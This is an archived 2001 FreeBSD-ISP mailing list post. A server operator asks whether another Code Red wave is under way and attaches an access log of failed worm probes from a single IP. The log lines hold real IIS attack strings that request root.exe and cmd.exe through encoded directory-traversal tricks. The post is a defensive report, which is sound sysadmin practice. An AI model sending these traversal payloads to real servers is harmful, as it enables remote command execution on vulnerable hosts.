Date: Tue, 18 Sep 2001 13:01:28 -0400 From: Jan Knepper <jan@digitaldaemon.com> To: FreeBSD ISP <FreeBSD-ISP@FreeBSD.org> Subject: Code Red?! Message-ID: <3BA77DE8.8080304@digitaldaemon.com>
next in thread | raw e-mail | index | archive | help
This is a multi-part message in MIME format. --------------000803090402000102080303 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Is today an other Code Red day or did I miss something somewhere? Jan --------------000803090402000102080303 Content-Type: text/plain; name="httpd-access.log" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="httpd-access.log" 63.105.91.99 - - [18/Sep/2001:13:00:22 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:22 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:22 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:22 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:23 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:23 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:23 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:23 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:23 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:23 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:24 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:24 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:27 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:27 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:27 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:27 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:27 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:27 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:28 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:28 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:28 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:28 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:28 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:28 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 63.105.91.99 - - [18/Sep/2001:13:00:29 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299 "-" "-" --------------000803090402000102080303-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-isp" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?3BA77DE8.8080304>